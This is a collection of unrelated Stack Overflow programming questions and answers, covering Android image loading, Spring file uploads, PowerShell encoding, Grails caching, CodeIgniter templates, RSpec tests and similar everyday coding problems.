"http:testingsite.com/naturemain/24.jpg", "http:testingsite.com/naturemain/26.jpg", "http:testingsite.com/naturemain/28.jpg", "http:testingsite.com/naturemain/30.jpg", "http:testingsite.com/naturemain/32.jpg", "http:testingsite.com/naturemain/34.jpg", "http:testingsite.com/naturemain/36.jpg", "http:testingsite.com/naturemain/38.jpg", "http:testingsite.com/naturemain/40.jpg", "http:testingsite.com/naturemain/42.jpg", "http:testingsite.com/naturemain/44.jpg", "http:testingsite.com/naturemain/46.jpg", "http:testingsite.com/naturemain/48.jpg", "http:testingsite.com/naturemain/50.jpg" }; private String[] mStrings={ "http:testingsite.com/naturemain/1.jpg", "http:testingsite.com/naturemain/3.jpg", "http:testingsite.com/naturemain/5.jpg", "http:testingsite.com/naturemain/7.jpg", "http:testingsite.com/naturemain/9.jpg", "http:testingsite.com/naturemain/11.jpg", "http:testingsite.com/naturemain/13.jpg", "http:testingsite.com/naturemain/15.jpg", "http:testingsite.com/naturemain/17.jpg", "http:testingsite.com/naturemain/19.jpg", "http:testingsite.com/naturemain/21.jpg", "http:testingsite.com/naturemain/23.jpg", "http:testingsite.com/naturemain/25.jpg", "http:testingsite.com/naturemain/27.jpg", "http:testingsite.com/naturemain/29.jpg", "http:testingsite.com/naturemain/31.jpg", "http:testingsite.com/naturemain/33.jpg", "http:testingsite.com/naturemain/35.jpg", "http:testingsite.com/naturemain/37.jpg", "http:testingsite.com/naturemain/39.jpg", "http:testingsite.com/naturemain/41.jpg", "http:testingsite.com/naturemain/43.jpg", "http:testingsite.com/naturemain/45.jpg", "http:testingsite.com/naturemain/47.jpg", "http:testingsite.com/naturemain/49.jpg" }; @Override public boolean onCreateOptionsMenu(Menu menu){ super.onCreateOptionsMenu(menu); MenuInflater menuinflater = getMenuInflater(); menuinflater.inflate(R.menu.main_menu, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item){ switch(item.getItemId()){ case R.id.inflate: startActivity(new Intent("com.testing.image.ABOUTUS")); return true; } return false; } } </code></pre> <p>Row XML:</p> <pre><code>&lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="wrap_content" android:gravity="center" &gt; &lt;ImageView android:id="@+id/image" android:layout_width="150dip" android:layout_height="120dip" android:scaleType="centerCrop" android:src="@drawable/backgroundimage" /&gt; &lt;TextView android:layout_width="20dip" android:layout_height="1dip" /&gt; &lt;TextView android:layout_width="1dip" android:layout_height="150dip" /&gt; &lt;ImageView android:id="@+id/photo" android:layout_width="150dip" android:layout_height="120dip" android:scaleType="centerCrop" android:src="@drawable/stub" /&gt; &lt;TextView android:id="@+id/text" android:layout_width="1dip" android:layout_height="1dip" /&gt; &lt;/LinearLayout&gt; </code></pre> <p>Main XML:</p> <pre><code>&lt;ListView android:id="@+id/list" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_weight="1" /&gt; </code></pre> <p>Sub-Activity:</p> <pre><code>public class NatureTwoOne extends Activity { ImageView image; private class BackgroundTask extends AsyncTask&lt;String, Void, Bitmap&gt; { protected Bitmap doInBackground(String...url) { //--- download an image --- Bitmap bitmap = DownloadImage(url[0]); return bitmap; } protected void onPostExecute(Bitmap bitmap) { ImageView image = (ImageView) findViewById(R.id.imageView1); bitmaptwo=bitmap; image.setImageBitmap(bitmap); } } private InputStream OpenHttpConnection(String urlString) throws IOException { InputStream in = null; int response= -1; URL url = new URL(urlString); URLConnection conn = url.openConnection(); if (!(conn instanceof HttpURLConnection )) throw new IOException("Not an HTTP connection"); try { HttpURLConnection httpConn = (HttpURLConnection) conn; httpConn.setAllowUserInteraction(false); httpConn.setInstanceFollowRedirects(true); httpConn.setRequestMethod("GET"); httpConn.connect(); response = httpConn.getResponseCode(); if (response == HttpURLConnection.HTTP_OK){ in = httpConn.getInputStream(); } } catch (Exception ex) { throw new IOException("Error connecting"); } return in; } private Bitmap DownloadImage(String URL) { Bitmap bitmap = null; InputStream in = null; try { in = OpenHttpConnection(URL); bitmap = BitmapFactory.decodeStream(in); in.close(); } catch (IOException e1){ Toast.makeText(this,e1.getLocalizedMessage(), Toast.LENGTH_LONG).show(); e1.printStackTrace(); } return bitmap; } public static Bitmap bitmaptwo; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); setContentView(R.layout.wallpaper); new BackgroundTask().execute("http:testingsite.com/natureone/1.jpg"); Button setWallpaper = (Button) findViewById(R.id.button3); setWallpaper.setOnClickListener(new OnClickListener() { public void onClick(View view) { WallpaperManager wManager; Toast noSong = Toast.makeText(NatureTwoOne.this, "Background Set", Toast.LENGTH_SHORT); noSong.show(); try { // bitmap = BitmapFactory.decodeFile(null); wManager = WallpaperManager.getInstance(getApplicationContext()); wManager.setBitmap(bitmaptwo); } catch (IOException e) { e.printStackTrace(); } } }); Button bLeft = (Button) findViewById(R.id.buttonLeft); bLeft.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { Intent mainIntentOne = new Intent(NatureTwoOne.this, NatureTwoFifty.class); NatureOneOne.this.startActivity(mainIntentOne); if(bitmaptwo != null){ bitmaptwo.recycle(); } /* Finish splash activity so user cant go back to it. */ NatureOneOne.this.finish(); /* Apply our splash exit (fade out) and main entry (fade in) animation transitions. */ overridePendingTransition(R.anim.animation_enterl, R.anim.animation_leaver); } }); Button bRight = (Button) findViewById(R.id.buttonRight); bRight.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { startActivity(new Intent("com.testing.image.NATURETWOTWO")); if(bitmaptwo != null){ bitmaptwo.recycle(); } finish(); } }); } @Override public boolean onKeyDown(int keyCode, KeyEvent event) { if (keyCode == KeyEvent.KEYCODE_BACK) { if(bitmaptwo != null){ bitmaptwo.recycle(); } finish(); } return super.onKeyDown(keyCode, event); } @Override public boolean onCreateOptionsMenu(Menu menu){ super.onCreateOptionsMenu(menu); MenuInflater menuinflater = getMenuInflater(); menuinflater.inflate(R.menu.main_menu, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item){ switch(item.getItemId()){ case R.id.inflate: startActivity(new Intent("com.testing.image.ABOUTUS")); return true; } return false; } } </code></pre> <p>Adapter:</p> <pre><code>public class LazyAdapter extends BaseAdapter { private Activity activity; private String[] data; private String[] dataone; private static LayoutInflater inflater=null; public ImageLoader imageLoader; public LazyAdapter(Activity a, String[] d, String[] mphotos) { activity = a; data=d; dataone = mphotos; inflater = (LayoutInflater)activity.getSystemService(Context.LAYOUT_INFLATER_SERVICE); imageLoader=new ImageLoader(activity.getApplicationContext()); } public int getCount() { return data.length; } public int getCountOne() { return dataone.length; } public Object getItem(int position) { return position; } public long getItemId(int position) { return position; } public View getView(int position, View convertView, ViewGroup parent) { View vi=convertView; if(convertView==null) vi = inflater.inflate(R.layout.item, null); TextView text=(TextView)vi.findViewById(R.id.text);; ImageView image=(ImageView)vi.findViewById(R.id.image); ImageView photos=(ImageView)vi.findViewById(R.id.photo); text.setText("item "+position); imageLoader.DisplayImage(data[position], image); imageLoader.DisplayImage(dataone[position], photos); return vi; } } </code></pre>
37887446	0	 <p>There is no problem in your code, but the problem in client request, because Content-Type should be like below if you want to upload image,</p> <pre><code>multipart/form-data; boundary="123123" </code></pre> <p>try to remove the Content-Type header and test, i will put one example for server code and client request</p> <p>Server code:</p> <pre><code>@RequestMapping(method = RequestMethod.POST, value = "/users/profile") public ResponseEntity&lt;?&gt; handleFileUpload(@RequestParam("name") String name, @RequestParam(name="file", required=false) MultipartFile file) { log.info(" name : {}", name); if(file!=null) { log.info("image : {}", file.getOriginalFilename()); log.info("image content type : {}", file.getContentType()); } return new ResponseEntity&lt;String&gt;("Uploaded",HttpStatus.OK); } </code></pre> <p>Client Request using Postman</p> <p>with image <a href="https://i.stack.imgur.com/CnHoV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/CnHoV.png" alt="enter image description here"></a></p> <p>without image</p> <p><a href="https://i.stack.imgur.com/UVE1t.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/UVE1t.png" alt="enter image description here"></a></p> <p>Curl example:</p> <p>without image, with Content-Type</p> <pre><code>curl -X POST -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" -F "name=test" "http://localhost:8080/api/users/profile" </code></pre> <p>without image, without Content-Type</p> <pre><code>curl -X POST -F "name=test" "http://localhost:8080/api/users/profile" </code></pre>
40250979	0	 <p>The way to resolve this issue is to force the file to use 8-bit encoding. You could run this PowerShell script to change the encoding of all .SQL files in the current directory and its subdirectories.</p> <pre><code>Get-ChildItem -Recurse *.sql | foreach { $FileName = $_.FullName; [System.Io.File]::ReadAllText($FileName) | Out-File -FilePath $FileName -Encoding UTF8; } </code></pre>
25684497	0	Can I execute a stored procedure 'detached' (not keeping DB connection open) on PostgreSQL? <p>I want to execute a long-running stored procedure on PostgreSQL 9.3. Our database server is (for the sake of this question) guaranteed to be running stable, but the machine calling the stored procedure can be shut down at any second (Heroku dynos get cycled every 24h).</p> <p>Is there a way to run the stored procedure 'detached' on PostgreSQL? I do not care about its output. Can I run it asynchronously and then let the database server keep working on it while I close my database connection?</p> <p>We're using Python and the <a href="http://initd.org/psycopg/docs/" rel="nofollow">psycopg2 driver</a>, but I don't care so much about the implementation itself. If the possibility exists, I can figure out how to call it.</p> <p>I found notes on the <a href="http://initd.org/psycopg/docs/advanced.html#async-support" rel="nofollow">asynchronous support</a> and the <a href="http://aiopg.readthedocs.org/en/0.3/index.html" rel="nofollow">aiopg library</a> and I'm wondering if there's something in those I could possibly use.</p>
38184474	0	How to setJpegQuality(int i) Camera2API? <p>Please help me to understand how i can set <code>setJpegQuality(int i)</code> in my Camera2API? </p> <p>I have surfed google and there are not a lot sample how to do it in CameraAPI, but there are any samples how to make it with Camera2API...</p> <p>I have found <a href="https://developer.android.com/reference/android/hardware/Camera.Parameters.html#setJpegQuality(int)" rel="nofollow">this</a> , but <strong>maybe anyone know how to set it for Camera2API?</strong></p> <p>Thanks!</p>
11758085	0	 <p>The short answer is that you cannot do it. At least not officially...</p> <p>see <a href="http://stackoverflow.com/questions/5564263/iphone-vpn-connect-app">iPhone VPN connect app</a></p> <p>However, you may be able to point your app to through an existing VPN channel if it already exists. I would recommend creation of instructions for the user on how to create the VPN connection.</p>
29531583	0	 <p>You can just do this:</p> <pre><code>echo $memus[0]['name']; </code></pre> <p>Or if you want all of them</p> <pre><code>foreach ($memus as $memu) { echo $memu['name']; } </code></pre>
16265491	0	Infix, prefix or postfix order trough BST to get descending order of printed elements <p>I know that if we print the BST in the infix order i will get ascending order of elements the tree contains. How to get descending order? Using postfix or prefix?</p>
12069487	0	Editing response content on doView() <p>I have a simple <code>JSR 286</code> Portlet that displays a user manual (pure <code>HTML</code> code, not <code>JSP</code>).</p> <p>Actually, my <code>doView</code> method, just contains this : </p> <pre class="lang-java prettyprint-override"><code>public class UserManualPortlet extends GenericPortlet { @Override protected void doView(RenderRequest request, RenderResponse response) throws PortletException, IOException { PortletRequestDispatcher rd = getPortletContext().getRequestDispatcher( "/html/usermanual.html"); rd.include(request, response); } } </code></pre> <p>This works as expected, however I'm having trouble when including images. I'm aware that the path to images should be something like : </p> <pre class="lang-java prettyprint-override"><code>&lt;img src='&lt;%=renderResponse.encodeURL(renderRequest.getContextPath() + "/html/image.jpg")%&gt;'/&gt; </code></pre> <p>However, my HTML file containing the user manual is used elsewhere, so I would like to preserve it as a pure HTML file.</p> <p>Is there a way to dynamically <strong>replace</strong> my classic <code>images urls</code> by something like the example above ? Perhaps using the <code>PrintWriter</code> of the response ?</p> <p>If such thing is not possible, I thing I would need to generate a <code>JSP</code> file during my <code>Maven</code> build.</p> <p>Any solution or ideas are welcome.</p>
11443082	0	Can't Post facebook URL using facebook SDK <p>I have a webapplication that I use to reshare existing post as follow 1)get the post details using <a href="https://graph.facebook.com/UserID_postID?access_token=AAA" rel="nofollow">https://graph.facebook.com/UserID_postID?access_token=AAA</a> (works fine) 2)fill the a data of the new post from the old one and try to resend it but there is some strange behviour if I use oldpost.link = newpost.link it doesnt nothing appear on the wall but if I used oldpost.link="\""newpost.link+"\"" works and the post appear on facebook wall but the link appears corputted as invalid.invalid/</p> <p>function getPost(userID, postID, token) { jQuery.getJSON("https://graph.facebook.com/" + userID + "_" + postID + "?access_token=" + token, function (post) { here is the code any idea please </p> <pre><code> var newPost = {}; newPost.message = "hi"; if (post.link != "" &amp;&amp; post.link != null &amp;&amp; post.link != "undefined") { newPost.link = "\"" + post.link + "\""; } if (post.name != "" &amp;&amp; post.name != null &amp;&amp; post.name != "undefined") { newPost.name = "\"" + post.name + "\""; } if (post.picture != "" &amp;&amp; post.picture != null &amp;&amp; post.picture != "undefined") { newPost.picture = "\"" + post.picture + "\""; } if (post.description != "" &amp;&amp; post.description != null &amp;&amp; post.description != "undefined") { newPost.description = "\"" + post.description + "\""; } doPost(newPost); }); } function doPost(newPost) { FB.api('/me/feed', 'post', newPost, function (response) { if (!response || response.error) { alert(' Denied Access'); } else { alert('Success'); } }); } </code></pre>
22750035	0	Using ANTLR3 in a C++ program <p>I'm currently working on an application that takes a string (a function of a single variable ' x') as input and outputs the derivative of that function. The latter half of the program is not the problem at the moment, the only thing I am having trouble with is "reading" a function from a string. I am using ANTLRv3 for C to try to achieve this goal, but I can't seem to get it to work. Currently I am missing the "antlr3.h" header file, which I can't seem to find anywhere. My second problem is invoking the generated parser, what would the C(++) code for that be (the ANTLR code is posted below)? How do I get it to work?</p> <p>Thanks in advance,</p> <p>Ties</p> <pre><code>grammar Expression; options { language = C; } @header { #ifndef PI #define PI 3.1415926535897 #endif // PI #ifndef E #define E 2.7182818284590 #endif // E #include "ExpressionTree.h" #include &lt;vector&gt; #include &lt;cstdlib&gt;} parse returns [Functor* func] : e=addExp EOF {func = $e.func;} ; addExp returns [Functor* func] @init {std::vector&lt;Functor*&gt; addList; std::vector&lt;bool&gt; opList;} : e1=multExp {addList.push_back($e1.func);} (o=('+'|'-') e2=multExp {opList.push_back($o.text == '+'); addList.push_back($e2.func);})* { if(addList.size() == 1) { func = addList[0]; } else { Functor* current = addList[0]; for(int i = 0; i&lt;opList.size(); i++) { if(opList[i]) { current = new Plus(current, addList[i+1]); } else { current = new Minus(current, addList[i+1]); } } func = current; }}; multExp returns [Functor* func] @init { std::vector&lt;Functor*&gt; mulList; std::vector&lt;bool&gt; opList;} : e1=powExp {mulList.push_back($e1.func);} (o=('*'|'/') e2=powExp {opList.push_back($o.text == '*'); mulList.push_back($e2.func);})* { if(mulList.size() == 1) { func = addList[0]; } else { Functor* current = mulList[0]; for(int i = 0; i&lt;opList.size(); i++) { if(opList[i]) { current = new Times(current, mulList[i+1]); } else { current = new Divides(current, mulList[i+1]); } } func = current; }}; powExp returns [Functor* func] @init { std::vector&lt;Functor*&gt; expList; } : e1=unarExp {expList.push_back($e1.func);} ('^' e2=unarExp {expList.push_back($e2.func);})? { if(expList.size() == 1) { func = expList[0]; } else { func = new Power(expList[0], expList[1]); }}; unarExp returns [Functor* func] : SQRT '(' e=addExp ')' {func = new Sqrt($e.func);} | SIN '(' e=addExp ')' {func = new Sin($e.func);} | COS '(' e=addExp ')' {func = new Cos($e.func);} | TAN '(' e=addExp ')' {func = new Tan($e.func);} | EXP '(' e=addExp ')' {func = new Exp($e.func);} | LOG '(' e=addExp ')' {func = new Log($e.func);} | ABS '(' e=addExp ')' {func = new Abs($e.func);} | MAX '(' e1=addExp ',' e2=addExp ')' {func = new Max($e1.func,$e2.func);} | MIN '(' e1=addExp ',' e2=addExp ')' {func = new Min($e1.func,$e2.func);} | e=atom {func = $e.func;} ; atom returns [Functor* func] : INT {func = new Constant(atoi($INT.text));} | FLOAT {func = new Constant(atof($FLOAT.text));} | 'pi' {func = new Constant(PI);} | 'e' {func = new Constant(E);} | 'x' {func = new Variable();} | '(' e=addExp ')' {func = $e.func;} ; SQRT: 'Sqrt'; SIN : 'Sin'; COS : 'Cos'; TAN : 'Tan'; EXP : 'Exp'; LOG : 'Log'; ABS : 'Abs'; MAX : 'Max'; MIN : 'Min'; INT : '0'..'9'+; FLOAT : ('0'..'9')+ '.' ('0'..'9')* EXPONENT? | '.' ('0'..'9')+ EXPONENT? | ('0'..'9')+ EXPONENT ; WS : ( ' ' | '\t') {$channel=HIDDEN;}; fragment EXPONENT : ('e'|'E') ('+'|'-')? ('0'..'9')+ ; </code></pre>
7477544	0	 <pre><code>SELECT RIGHT('0' + CONVERT(VARCHAR(2), DATEPART(MM, Op_Date)), 2) + '/' + CONVERT(VARCHAR,DATEPART(yyyy,Op_Date)) </code></pre>
35136050	0	How do I apply a function to all elements of a column that have the same value in another column? <p>I have a long dataframe, that consists of the identifier for a group and a corresponding value. See an example below:</p> <pre><code>FamilyMass Family Body.Mass 1 Chrysochloridae 22.04 2 Chrysochloridae 24.05 3 Chrysochloridae 52.34 4 Chrysochloridae 38.30 5 Chrysochloridae 37.16 6 Chrysochloridae 55.76 7 Chrysochloridae 434.04 8 Chrysochloridae 108.35 9 Chrysochloridae 21.99 10 Chrysochloridae 62.60 11 Tenrecidae 152.25 12 Tenrecidae 6.69 </code></pre> <p>I need to calculate the cumsum of all values in the second column for each batch of elements with the same value in the first column. So, in the first case, I would calculate the cumsum for the first 10 values, as they all correspond to Chrysochloridae, and then calculate the cumsum for the following two entries and store them in a different place. </p> <p>I tried breaking the dataframe into smaller lists, each contaning a vector with the respective Body Mass entries using a loop, but so far I haven't succeeded.</p> <p>Is there any way to solve the problem? Forgive me if it's a basic question, I'm very new to R and programming in general.</p>
37779035	0	 <p>Try this</p> <pre><code> $criteria = array( "prices" =&gt; array( $request['min'] ? $request['min'] : false, $request['max'] ? $request['max'] : false ), "colors" =&gt; $request['color'] ? $request['color'] : false, "sizes" =&gt; $request['size'] ? $request['size'] : false ); $products = Product::with(['sizes' =&gt; function ($query) use ($criteria) { if($criteria['sizes']) { foreach ($criteria['sizes'] as $size) { $query-&gt;where('size', '=', $size); } } }])-&gt;where(function ($query) use ($criteria) { if($criteria['colors']) { foreach ($criteria['colors'] as $color) { $query-&gt;where('color_id', '=', $color); } } if( $criteria['prices'][0] &amp;&amp; $criteria['prices'][1] ) { $query-&gt;whereBetween('price', $criteria['prices'] ); } })-&gt;get(); </code></pre>
19966306	0	 <p>Two potential sources of the problem, you shouldn't store your files with spaces in their names and you haven't specified a type for your video.</p> <p>The SRC should contain a valid URL and therefore you should have %20 or + in your PHP string in stead of the spaces.</p> <p>Note: As mentioned by Fisk, your php tags are wrong due to the spacing. You use the PHP echo short-form by replacing </p> <pre><code>&lt; ?php echo $vid; ? &gt; by &lt;?= $vid; ?&gt; </code></pre>
18873778	0	Building a jekyll site from java <p>I have a java (GWT) web app with products, where users can add products and set their description and price etc.</p> <p>I am thinking about the following flow: whenever a product is updated, run a jekyll build and deploy.</p> <p>this way the eventual site with all the products will be completely static (with some extra javascript to handle shoppingcart etc), and thus very fast indeed.</p> <p>Is there a way to call 'jekyll build' from java servlet? I don't have much experience with this... Any suggestions?</p>
8946877	0	grails not using cache <p>I've noticed a slow down on my site and after turning on <code>debug 'org.hibernate.SQL'</code> I see where the troubles are. I've set a domain class to be cached using....</p> <pre><code>class Foo{ ... static mapping ={ cache 'read-only' } String name //&lt;-- simple data type, no associations String description //&lt;-- simple data type, no associations } </code></pre> <p>My hibernate config looks like this...</p> <pre><code>hibernate { cache.use_second_level_cache=true cache.use_query_cache=true cache.provider_class='net.sf.ehcache.hibernate.EhCacheProvider' } </code></pre> <p>my query looks like this (in a web flow)...</p> <pre><code>def wizardFlow = { ... def flow.foos = Foo.list([sort:"name", order:"asc", cache:true]) // def flow.foos = Foo.findAll([cache:true]) &lt;--- same result, no caching } </code></pre> <p>I would think that either the query cache or second level cache would stop the database from being hit but my log is loaded with...</p> <pre><code>select ... from thing thing0_ where thing0_.id=? select ... from thing thing0_ where thing0_.id=? select ... from thing thing0_ where thing0_.id=? select ... from thing thing0_ where thing0_.id=? </code></pre> <p>Can anyone shed some light on what might be happening? Other queries are acting as they should!</p> <p>I'm using Grails 1.3.7</p> <p>Lastly, here is my ehcache.xml...</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;ehcache xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="ehcache.xsd" &gt; &lt;diskStore path="java.io.tmpdir"/&gt; &lt;cacheManagerEventListenerFactory class="" properties=""/&gt; &lt;defaultCache maxElementsInMemory="1000000" eternal="false" timeToIdleSeconds="3600" timeToLiveSeconds="7200" overflowToDisk="true" diskPersistent="false" /&gt; &lt;cache name="org.hibernate.cache.UpdateTimestampsCache" maxElementsInMemory="10000" timeToIdleSeconds="300" /&gt; &lt;cache name="org.hibernate.cache.StandardQueryCache" maxElementsInMemory="10000" timeToIdleSeconds="300" /&gt; &lt;/ehcache&gt; </code></pre>
7628581	0	 <p>Just naming:</p> <ul> <li><a href="http://projects.gnome.org/ORBit2/" rel="nofollow">orbit2</a> <sup>1</sup>, also pyorbit etc.</li> <li><a href="http://omniorb.sourceforge.net" rel="nofollow">omniORB</a></li> <li><p><a href="http://www.theaceorb.com" rel="nofollow">TAO</a> (<em>has already been mentioned</em>)</p> <p><sup>1</sup> On my Ubuntu box, <code>apt-rdepends -r liborbit2</code> returns 5530 lines...</p></li> </ul>
22532224	0	 <p>in advance, you can through this way to build your view:</p> <p><strong>first</strong> create an Template in your view folder</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html;charset=utf-8"&gt; &lt;meta content="MajidGolshadi" name="author"&gt; &lt;?php echo $html_head; ?&gt; &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="content"&gt; &lt;?php echo $content; ?&gt; &lt;/div&gt; &lt;div id="footer"&gt; &lt;?php echo $html_footer; ?&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p><strong>second</strong> create an library to load your view automaticaly</p> <pre><code>&lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class Template { private $data; private $js_file; private $css_file; private $CI; public function __construct() { $this-&gt;CI =&amp; get_instance(); $this-&gt;CI-&gt;load-&gt;helper('url'); // default CSS and JS that they must be load in any pages $this-&gt;addJS( base_url('assets/js/jquery-1.7.1.min.js') ); $this-&gt;addCSS( base_url('assets/css/semantic.min.css') ); } public function show( $folder, $page, $data=null, $menu=true ) { if ( ! file_exists('application/views/'.$folder.'/'.$page.'.php' ) ) { show_404(); } else { $this-&gt;data['page_var'] = $data; $this-&gt;load_JS_and_css(); $this-&gt;init_menu(); if ($menu) $this-&gt;data['content'] = $this-&gt;CI-&gt;load-&gt;view('template/menu.php', $this-&gt;data, true); else $this-&gt;data['content'] = ''; $this-&gt;data['content'] .= $this-&gt;CI-&gt;load-&gt;view($folder.'/'.$page.'.php', $this-&gt;data, true); $this-&gt;CI-&gt;load-&gt;view('template.php', $this-&gt;data); } } public function addJS( $name ) { $js = new stdClass(); $js-&gt;file = $name; $this-&gt;js_file[] = $js; } public function addCSS( $name ) { $css = new stdClass(); $css-&gt;file = $name; $this-&gt;css_file[] = $css; } private function load_JS_and_css() { $this-&gt;data['html_head'] = ''; if ( $this-&gt;css_file ) { foreach( $this-&gt;css_file as $css ) { $this-&gt;data['html_head'] .= "&lt;link rel='stylesheet' type='text/css' href=".$css-&gt;file."&gt;". "\n"; } } if ( $this-&gt;js_file ) { foreach( $this-&gt;js_file as $js ) { $this-&gt;data['html_head'] .= "&lt;script type='text/javascript' src=".$js-&gt;file."&gt;&lt;/script&gt;". "\n"; } } } private function init_menu() { // your code to init menus // it's a sample code you can init some other part of your page } } </code></pre> <p><strong>third</strong> load your library in every controller constructor and then use this lib to load you view automatically</p> <p>to load additional js in your view you can use <code>addJS</code> method in this way:</p> <pre><code>$this-&gt;template-&gt;addJS("your_js_address"); </code></pre> <p>for Css:</p> <pre><code>$this-&gt;template-&gt;addCSS("your_css_address"); </code></pre> <p>and to show your page content call your view file with <code>show</code> method</p> <pre><code>$this-&gt;template-&gt;show("your_view_folder", "view_file_name", $data); </code></pre> <p>i hope this codes help you</p>
33023158	0	 <blockquote> <p>You just need to play with <code>$success</code> like this:</p> </blockquote> <pre><code>&lt;?php // Define some constants define("RECIPIENT_NAME", "YOURNAME"); define("RECIPIENT_EMAIL", "YOUR@EMAIL.net"); define("EMAIL_SUBJECT", "Visitor Message"); // Read the form values $success = false; $senderEmail = isset($_POST['senderEmail']) ? preg_replace("/[^\.\-\_\@a-zA-Z0-9]/", "", $_POST['senderEmail']) : ""; $message = isset($_POST['message']) ? preg_replace("/(From:|To:|BCC:|CC:|Subject:|Content-Type:)/", "", $_POST['message']) : ""; // If all values exist, send the email if ($senderEmail &amp;&amp; $message) { $formSubmitted = true; $recipient = RECIPIENT_NAME . " &lt;" . RECIPIENT_EMAIL . "&gt;"; $headers = "From: " . $senderEmail . " &lt;" . $senderEmail . "&gt;"; $success = mail($recipient, EMAIL_SUBJECT, $message, $headers); } // Return an appropriate response to the browser if (isset($_GET["ajax"])) { echo $success ? "success" : "error"; } ?&gt; &lt;!--Your contact.php page--&gt; &lt;form class="o-form" id="contactForm" action="php/contact.php" method="post"&gt; &lt;input type="email" name="senderEmail" id="senderEmail" required="required" placeholder="email"&gt; &lt;textarea name="message" id="message" required="required placeholder=" message"&gt;&lt;/textarea&gt; &lt;input type="submit" value="send" class="send-button"&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="copyright"&gt; &lt;span&gt; anthonygallina &lt;/span&gt; &lt;/div&gt; &lt;/footer&gt; &lt;div class="th-popup"&gt; &lt;div class="massage-th"&gt; &lt;h1&gt;Thank You!&lt;/h1&gt; &lt;p&gt;We apreciate your visit to our home page. We will contact you soon!&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;script src="js/jquery-1.11.1.min.js"&gt;&lt;/script&gt; &lt;script src="js/all.js"&gt;&lt;/script&gt; &lt;script src="js/jquery.mixitup.min.js"&gt;&lt;/script&gt; &lt;script src="js/bootstrap.min.js"&gt;&lt;/script&gt; &lt;script src="js/idangerous.swiper.min.js"&gt;&lt;/script&gt; &lt;script&gt; &lt;?php if($formSubmitted) { if ($success) { $msg="&lt;p&gt;Thanks for sending your message! We'll get back to you soon.&lt;/p&gt;"; } else { $msg="&lt;p&gt;There was a problem sending your message. Please try again.&lt;/p&gt;"; } //Open your confirmation or error model here using $msg } ?&gt; &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
28577597	0	 <p>You can only transpose a 2D array. You can use <code>numpy.matrix</code> to create a 2D array. This is three years late, but I am just adding to the possible set of solutions:</p> <pre><code>import numpy as np m = np.matrix([2, 3]) m.T </code></pre>
38917572	0	No find member in std::vector <p>Is there any particular reason why <code>std::vector</code> does not have a member function <code>find</code>? Instead you have to call <code>std::find</code> (and <code>#include &lt;algorithm&gt;</code>).</p> <p>The reason why I ask is that I think it would be a good thing to be able to change container class in some piece of implementation without having to change the code wherever the container is accessed. Say I replace an <code>std::vector</code> where the implementation uses <code>std::find</code> with an <code>std::map</code>. Then I also have to replace the call of <code>std::find</code> with a call to the member <code>find</code>, unless I want to keep the linear complexity of <code>std::find</code>. Why not just have a member <code>find</code> for all container classes, which finds an element with whatever algorithm is best suited for each container?</p>
32969099	0	ActionView::Template::Error: undefined method `children' for nil:NilClas <p>Hello i have an Rspec Test im tring to do for an User controller index action. For user authentication i coded it myself and not using any gems. </p> <p>I get this error when truing to run the test. I looked up all solutions and nothing worked. </p> <pre><code> 2) UsersController GET #index redirects visitor Failure/Error: user_logged_in ActionView::Template::Error: undefined method `children' for nil:NilClass </code></pre> <p>Here is the Test.</p> <pre><code>require "rails_helper" RSpec.describe UsersController, type: :controller do let!(:user) { create(:user) } let!(:users) do users = [] 3.times { users &lt;&lt; create(:user) } users end describe "GET #index" do before do user_logged_in create(users) end it "user renders template and shows users" do get :index expect(response).to render_template(:index) expect(response).to have_http_status(:success) expect(assigns(:users)).to eq(users) end it "redirects visitor" do get :index it { expect(response).to redirect_to(root_path) } end end end </code></pre> <p>Here is rails_helper</p> <pre><code>ENV['RAILS_ENV'] ||= 'test' require File.expand_path('../../config/environment', __FILE__) abort("The Rails environment is running in production mode!") if Rails.env.production? require 'spec_helper' require 'rspec/rails' require "shoulda/matchers" ActiveRecord::Migration.maintain_test_schema! RSpec.configure do |config| config.fixture_path = "#{::Rails.root}/spec/fixtures" config.include FactoryGirl::Syntax::Methods config.use_transactional_fixtures = true config.infer_spec_type_from_file_location! config.include Capybara::DSL end def admin_logged_in visit login_path fill_in 'Email', with: admin.email fill_in 'Password', with: admin.password click_button 'Log In' end def user_logged_in visit login_path fill_in 'Email', with: user.email fill_in 'Password', with: user.password click_button 'Log In' end </code></pre>
29973869	0	SSH freely inside AWS VPC <p>How do I configure my EC2 machines inside a VPC to be able to ssh without password or key between them?</p> <p>What i'm trying to do is access one machine (which has a public IP) and from this machine access all others freely.</p> <p>Is it even possible?</p>
